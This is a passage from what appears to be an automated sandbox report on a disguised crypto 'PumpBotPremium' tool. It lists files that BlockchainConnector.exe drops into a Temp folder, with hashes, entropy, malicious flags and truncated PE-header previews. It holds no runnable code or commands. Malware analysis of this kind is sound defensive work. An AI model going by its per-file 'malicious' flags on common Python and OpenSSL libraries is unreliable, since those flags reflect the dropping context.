                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......BV...7...7...7...Og..7..TB...7..TB..7..TB..7..TB...7...B...7...\...7...7...7...B...7...B...7...B...7...B...7..Rich.7..........................PE..d....O[a.........." .....l...........%.......................................P............`.............................................P............0....... ..<............@..........T..............................8............................................text...Vj.......l.................. ..`.rdata...s.......t...p..............@..@.data...............................@....pdata..<.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_sqlite3.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):93416
                                                                                                                                                                                                                                                Entropy (8bit):6.082968229829419
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:6WRj/57JzRFSbiSBYNdS4JkFTH57GlrpD5T82SXEv/cttngyB+HmTq0eZIAYQikX:bRj51g7YNwIkpHsfD5Q2SXttgyB4zZII
                                                                                                                                                                                                                                                MD5:6486E5C8512BDDC5F5606D11FE8F21E0
                                                                                                                                                                                                                                                SHA1:650861B2C4A1D6689FF0A49BB916F8FF278BB387
                                                                                                                                                                                                                                                SHA-256:728D21BE4D47DD664CAF9FA60C1369FE059BC0498EDD383B27491D0DEE23E439
                                                                                                                                                                                                                                                SHA-512:F2C9267A3CAB31190079037E3CC5614F19C1235852454708C4978008EA9DA345892191750980AEBC809CC83DD1F5788B60F8CF39A6A41623210C96AF916D1821
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........V7F.8dF.8dF.8dO.d@.8d..9eD.8d ..dG.8d..=eJ.8d..<eN.8d..;eE.8d..9eC.8dR.9eD.8dF.9d..8d..5eO.8d..8eG.8d...dG.8d..:eG.8dRichF.8d........................PE..d....O[a.........." .................................................................b....`.............................................P............p.......P..\....P..........|...D...T...............................8...............H............................text...`........................... ..`.rdata...n.......p..................@..@.data...,....0......................@....pdata..\....P......................@..@.rsrc........p.......B..............@..@.reloc..|............L..............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_ssl.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):155880
                                                                                                                                                                                                                                                Entropy (8bit):5.928662213847181
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:wYb/EGIexVYBgWHaCJaLuJ3TE8sOGH70NmHh4kwooSLteSdo9QBIAM73:wY7jIexVYKUazuJMOADtho9QO
                                                                                                                                                                                                                                                MD5:11C5008E0BA2CAA8ADF7452F0AAAFD1E
                                                                                                                                                                                                                                                SHA1:764B33B749E3DA9E716B8A853B63B2F7711FCC7C
                                                                                                                                                                                                                                                SHA-256:BF63F44951F14C9D0C890415D013276498D6D59E53811BBE2FA16825710BEA14
                                                                                                                                                                                                                                                SHA-512:FCEB022D8694BCE6504D6B64DE4596E2B8252FC2427EE66300E37BCFF297579CC7D32A8CB8F847408EAA716CB053E20D53E93FBD945E3F60D58214E6A969C9DD
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........H..w&.w&.w&....w&...'.w&...#.w&...".w&...%.w&.%.'.w&...'.w&..'.w&.w'..v&.%.+.w&.%.&.w&.%...w&.%.$.w&.Rich.w&.................PE..d....O[a.........." ................l*..............................................2p....`............................................d...4........`.......P.......D.......p..8.......T...............................8...............x............................text...T........................... ..`.rdata..............................@..@.data....j.......f..................@....pdata.......P....... ..............@..@.rsrc........`.......,..............@..@.reloc..8....p.......6..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_tkinter.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):61680
                                                                                                                                                                                                                                                Entropy (8bit):6.0571552274672635
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:768:e9k8DRvbV/VKfBvrUx/l93WDtbBZeaWDyms5fTabInhkz0/AAZIAYSADG4yI8h:e1RvtV+BcAeaas5fuUnheurZIAYSMy
                                                                                                                                                                                                                                                MD5:0F1AA5B9A82B75B607B4EAD6BB6B8BE6
                                                                                                                                                                                                                                                SHA1:5D58FD899018A106D55433EA4FCB22FAF96B4B3D
                                                                                                                                                                                                                                                SHA-256:336BD5BFFDC0229DA4EADDBB0CFC42A9E55459A40E1322B38F7E563BDA8DD190
                                                                                                                                                                                                                                                SHA-512:B32EA7D3ED9AE3079728C7F92E043DD0614A4DA1DBF40AE3651043D35058252187C3C0AD458F4CA79B8B006575FAC17246FB33329F7B908138F5DE3C4E9B4E52
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,...h{.Gh{.Gh{.Ga..Gn{.G:..Fj{.G:..Fd{.G:..F`{.G:..Fk{.G...Fj{.G|..Fj{.G...Fm{.Gh{.G.{.G...Fj{.G...Fi{.G..rGi{.G...Fi{.GRichh{.G................PE..d....O[a.........." .....l...j......................................................<.....`............................................P... ...................,...............$.......T...............................8............................................text....j.......l.................. ..`.rdata...B.......D...p..............@..@.data...............................@....pdata..,...........................@..@.rsrc...............................@..@.reloc..$...........................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\certifi\cacert.pem

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:ASCII text
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):281617
                                                                                                                                                                                                                                                Entropy (8bit):6.048201407322743
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:QW1H/M8fRR1mNplkXURrVADwYCuCigT/Q5MSRqNb7d8iu5f:QWN/TR8NLWURrI55MWavdF0f
                                                                                                                                                                                                                                                MD5:78D9DD608305A97773574D1C0FB10B61
                                                                                                                                                                                                                                                SHA1:9E177F31A3622AD71C3D403422C9A980E563FE32
                                                                                                                                                                                                                                                SHA-256:794D039FFDF277C047E26F2C7D58F81A5865D8A0EB7024A0FAC1164FEA4D27CF
                                                                                                                                                                                                                                                SHA-512:0C2D08747712ED227B4992F6F8F3CC21168627A79E81C6E860EE2B5F711AF7F4387D3B71B390AA70A13661FC82806CC77AF8AB1E8A8DF82AD15E29E05FA911BF
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\charset_normalizer\md.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):10752
                                                                                                                                                                                                                                                Entropy (8bit):4.668757745421387
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:96:s1p72HzA5iJewkY0hQMsQJCUCLsZEA4elh3XQMtCFbiormHcX6g8cim1qeSju1:sD2HzzjBbRYoedomcqgvimoe
                                                                                                                                                                                                                                                MD5:F0027550D46509B0514CF2BF0CC162BC
                                                                                                                                                                                                                                                SHA1:5B5A9FD863A216B2444CCBD51B1F451D6ECA8179
                                                                                                                                                                                                                                                SHA-256:77300A458BB8DC0D4FF4D8BDDB3289E90CB079418DBED3E20D2C9A445F39746E
                                                                                                                                                                                                                                                SHA-512:BB09B814DBE3E4361ABBAFEC4768208C98A7F455EF311B653D61B0B6098197BDAC43E74E2E3868E486819F147B8F7C442C76E5181CC5A7EB13B6E2C2E07BF9B7
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C.V"..V"..V".._Z..T"...^..T"...Z..T"...^..]"...^..^"...^..U"..W..U"..V"..p".._..W".._..W".._v.W".._..W"..RichV"..........................PE..d....Y.d.........." ...#.....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\charset_normalizer\md__mypyc.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):114176
                                                                                                                                                                                                                                                Entropy (8bit):5.886098884857882
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:sHThS6iru96gPC2wuFB5wvkgfAeP8QEUkk1iAIRCGMwyRCApQBX2y6KmdKYqBfH:sH1iru96gPzhivkY309e1iAH4dApQBJ
                                                                                                                                                                                                                                                MD5:E9454A224D11E1BD68C7069B7F5F61A7
                                                                                                                                                                                                                                                SHA1:793098653D93652415F8BACE81434F6F4490CF1A
                                                                                                                                                                                                                                                SHA-256:711F292ACE44576F5DE4F592ADEBD9D21FAF569357C289425251D8DCE4FA84CC
                                                                                                                                                                                                                                                SHA-512:17D993A0C4B56219E8C224EB2BDEA92D9CC4BD3809B0F9FA4CF0DDFDC5EAB4371441D488EA851ABF2F88C691D57A268D5CDCAA9D11D4DD091BC130638FE36460
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........RK.J3%.J3%.J3%.CK..B3%..O$.H3%..K$.H3%..O .G3%..O!.B3%..O&.I3%..F$.I3%.J3$..3%..N-.K3%..N%.K3%..N..K3%..N'.K3%.RichJ3%.........................PE..d....Y.d.........." ...#. ...........#....................................................`..........................................s..d....t..................................$....f...............................d..@............0...............................text...(........ .................. ..`.rdata...U...0...V...$..............@..@.data...p8.......,...z..............@....pdata..............................@..@.rsrc...............................@..@.reloc..$...........................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\concrt140.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):317208
                                                                                                                                                                                                                                                Entropy (8bit):6.325295618585691
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:2VwR2xhiXuz1BxUBE0I3umFKuLHqvqNXV4rnWzgCEcl:Vs9zGEj3saz7l
                                                                                                                                                                                                                                                MD5:F3C9F61B9E1B25C9DE8D817D3D1C02D7
                                                                                                                                                                                                                                                SHA1:DAB244AC19C66BB5A7BAE0AEE6E3EA280C30F364
                                                                                                                                                                                                                                                SHA-256:1F072A6DC98CD882C542208E7A8FE4FBE5239781588F17C005A2607FDFE62D5D
                                                                                                                                                                                                                                                SHA-512:8A6CF1E91A15B5A1DB52880258F3A39F6CC3BED72E79598F7A10661DD9ED28D369499F585225EB016A2F0B7EDDADE096BA80083DB301B68DEB173FADDE3B9619
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......xFo.<'..<'..<'.....>'..5_..6'...H..;'..<'...'...H..4'...H..8'...H..h'...H..='...H..='...H..='..Rich<'..........................PE..d.....t^.........." ................`...............................................;g....`A.............................................M...................p...6.......A......l....3..8........................... 4..0............................................text...,........................... ..`.rdata..*2.......4..................@..@.data....?...0...8..................@....pdata...6...p...8...N..............@..@.rsrc...............................@..@.reloc..l...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\cryptography\hazmat\bindings\_rust.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):6673920
                                                                                                                                                                                                                                                Entropy (8bit):6.582002531606852
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:98304:EzN+T+xtLlk0PPMAiGoTzeDy3x8lGBlWi9Nk:E5Y6Jk0PPMtfTzp3x8c
                                                                                                                                                                                                                                                MD5:486085AAC7BB246A173CEEA0879230AF
                                                                                                                                                                                                                                                SHA1:EF1095843B2A9C6D8285C7D9E8E334A9CE812FAE
                                                                                                                                                                                                                                                SHA-256:C3964FC08E4CA8BC193F131DEF6CC4B4724B18073AA0E12FED8B87C2E627DC83
                                                                                                                                                                                                                                                SHA-512:8A56774A08DA0AB9DD561D21FEBEEBC23A5DEA6F63D5638EA1B608CD923B857DF1F096262865E6EBD56B13EFD3BBA8D714FFDCE8316293229974532C49136460
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......QN.../.../.../...W(../......./......./......./......./...R.../...Z.../..^W.../.../...-../...",......./.../.../......./......./..Rich./..........PE..d...M7ee.........." ...&..M..........L...................................... f...........`......................................... .a.p.....a.|............Pb..............Pe.p...p.[.T.....................[.(...0.[.@............0M..............................text.....M.......M................. ..`.rdata.......0M.......M.............@..@.data........0a.......a.............@....pdata.......Pb.......b.............@..@.reloc..p....Pe.......e.............@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\cv2\cv2.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):74447872
                                                                                                                                                                                                                                                Entropy (8bit):6.7006581120600375
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:393216:XZyc70qJvslvVpbgSnsQqVP7i4iA6zMMX5djMTLiAUhf1NefxzoWuDPpybh:Xen9JDMxzolpyN
                                                                                                                                                                                                                                                MD5:E758DF0FBF045DF49D75CB4463287BF2
                                                                                                                                                                                                                                                SHA1:33FEBB0F392A47BCA1197927E2581BFBD4647C96
                                                                                                                                                                                                                                                SHA-256:90577FA7AD4D992CB7FD16DFB1F36E7220A67B00A6E9C408ECB1C2331265F67F
                                                                                                                                                                                                                                                SHA-512:D0AFAFB2B319DFC4FF5B946EF4EFC3AE943E4055DDC37FDD9107CE29993FBB2C928CD88E380181954580FC6AD958B3AB97D4942DF57C9508878E89DFA057FE3A
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$............x..x..x...%...x...%...x...%..3x......x..%&...x..%&...x..%&...x...%...x......{..x...[...%...x..?&..lx.."&...x..x...y..?&..bz..?&...x..?&=.x..?&...x..Rich.x..................PE..d...YP.e.........." .....fD..B=..............................................P............`...........................................:.d1....<.@.............Z.8...............\{..pV..T...................hW..(....V................D..............................text...t".......$.................. ..`IPPCODE.>A...@...B...*.............. ..`.rdata.. e....D..f...lD.............@..@.data... .....=.......<.............@....pdata..8.....Z.......H.............@..@.tls.........@t......Rb.............@...IPPDATA..M...Pt..N...Tb.............@....gfids..h.....t.......b.............@..@_RDATA........t.......b.............@..@.debug_a2....pv......\d.............@..B.debug_i0.....v......bd.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\cv2\opencv_videoio_ffmpeg490_64.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):26314752
                                                                                                                                                                                                                                                Entropy (8bit):6.591317626319441
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:196608:4WuFNpujlgPA/ujrrZSmB/vb3ty2vKqNn93NN6Yy2fR5yWoVx:4LvujlNujrrZ3vrLnp76Yy2psWWx
                                                                                                                                                                                                                                                MD5:CB4DB51EE9A423E6168B9D08BEE61EFC
                                                                                                                                                                                                                                                SHA1:C4D4CEEF485F76EF33780AE9CB7D636BC8C09539
                                                                                                                                                                                                                                                SHA-256:969A3219854B6B654A7E5A89CCDB87F3CC143AF5E43858EEA0AD9275237EA406
                                                                                                                                                                                                                                                SHA-512:37D239A7A1171EDA91351FFF0A076B3A38249F2D40849EBF4B5F9302CA44F4B34144F318A422F419F3F89B2EE81BEE3757AA1D979C90FD1F90001FC9B082D4D6
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 4%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."..."..A......n..P..........p.....................................&........ .................................................p*...P..8.......D............`..................................(...................L................................text.....A.......A.................`.P`.data........0A.......A.............@.`..rdata..p.>...F...>...E.............@..@.rodata............................@.P@.pdata..D..........................@.0@.xdata...............x..............@.0@.bss.....l............................`..edata...............<..............@.0@.idata..p*.......,...>..............@.0..CRT....`....0.......j..............@.@..tls.........@.......l..............@.@..rsrc...8....P.......n..............@.0..reloc.......`.......r..............@.0B........................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\libcrypto-1_1.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):3429624
                                                                                                                                                                                                                                                Entropy (8bit):6.093870626224665
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:6uTKuk2i4IU6ixsOjPWJJrf129Pr1+leV6E3AH/vgpdbZ/NPL0asQa1CPwDv3uF3:6XH+n9Z+1obZ/10asv1CPwDv3uFfJLx
                                                                                                                                                                                                                                                MD5:63C4F445B6998E63A1414F5765C18217
                                                                                                                                                                                                                                                SHA1:8C1AC1B4290B122E62F706F7434517077974F40E
                                                                                                                                                                                                                                                SHA-256:664C3E52F914E351BB8A66CE2465EE0D40ACAB1D2A6B3167AE6ACF6F1D1724D2
                                                                                                                                                                                                                                                SHA-512:AA7BDB3C5BC8AEEFBAD70D785F2468ACBB88EF6E6CAC175DA765647030734453A2836F9658DC7CE33F6FFF0DE85CB701C825EF5C04018D79FA1953C8EF946AFD
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.>y..P*..P*..P*v..*m.P*-.Q+}.P*-.U+t.P*-.T+w.P*-.S+{.P*k.Q+t.P*..Q*..P*).S+b.P*).T+..P*).P+~.P*).*~.P*).R+~.P*Rich..P*........PE..d.....'a.........." ......$...................................................4.......4...`.........................................@Q/..h....4.@....@4.|....@2......84......P4..O....,.8...........................P.,.8.............4..............................text...4.$.......$................. ..`.rdata..V.....$.......$.............@..@.data....z....1..,....1.............@....pdata.. ....@2.......1.............@..@.idata..^#....4..$....3.............@..@.00cfg..Q....04.......3.............@..@.rsrc...|....@4.......3.............@..@.reloc...x...P4..z....3.............@..B................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\libffi-7.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):32792
                                                                                                                                                                                                                                                Entropy (8bit):6.3566777719925565
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
                                                                                                                                                                                                                                                MD5:EEF7981412BE8EA459064D3090F4B3AA
                                                                                                                                                                                                                                                SHA1:C60DA4830CE27AFC234B3C3014C583F7F0A5A925
                                                                                                                                                                                                                                                SHA-256:F60DD9F2FCBD495674DFC1555EFFB710EB081FC7D4CAE5FA58C438AB50405081
                                                                                                                                                                                                                                                SHA-512:DC9FF4202F74A13CA9949A123DFF4C0223DA969F49E9348FEAF93DA4470F7BE82CFA1D392566EAAA836D77DDE7193FED15A8395509F72A0E9F97C66C0A096016
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....F...$.......I....................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\libssl-1_1.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):695032
                                                                                                                                                                                                                                                Entropy (8bit):5.528361289023932
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:EwIGh2Hjnl6uk51iNXuAX7TBElV57sldbeMR29XxSNreSZYrRnU2lvzsT:Uk51iNZyMR+keSZ6U2lvzsT
                                                                                                                                                                                                                                                MD5:BD857F444EBBF147A8FCD1215EFE79FC
                                                                                                                                                                                                                                                SHA1:1550E0D241C27F41C63F197B1BD669591A20C15B
                                                                                                                                                                                                                                                SHA-256:B7C0E42C1A60A2A062B899C8D4EBD0C50EF956177BA21785CE07C517C143AEAF
                                                                                                                                                                                                                                                SHA-512:2B85C1521EDEADF7E118610D6546FAFBBAD43C288A7F0F9D38D97C4423A541DFAC686634CDE956812916830FBB4AAD8351A23D95CD490C4A5C0F628244D30F0A
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&v..G.^.G.^.G.^.?.^.G.^.2._.G.^.,._.G.^.2._.G.^.2._.G.^.2._.G.^.2._.G.^.G.^HF.^.2._.G.^.2._.G.^.2.^.G.^.2._.G.^Rich.G.^........................PE..d.....'a.........." .....8...L......<.....................................................`.........................................p+...N..HE..........s........K...~..........l.......8...............................8............0..H............................text....6.......8.................. ..`.rdata..z)...P...*...<..............@..@.data...QM.......D...f..............@....pdata...T.......V..................@..@.idata..PW...0...X..................@..@.00cfg..Q............X..............@..@.rsrc...s............Z..............@..@.reloc..]............b..............@..B................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\msvcp140.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):590112
                                                                                                                                                                                                                                                Entropy (8bit):6.461874649448891
                                                                                                                                                                                                                                                Encrypted:false
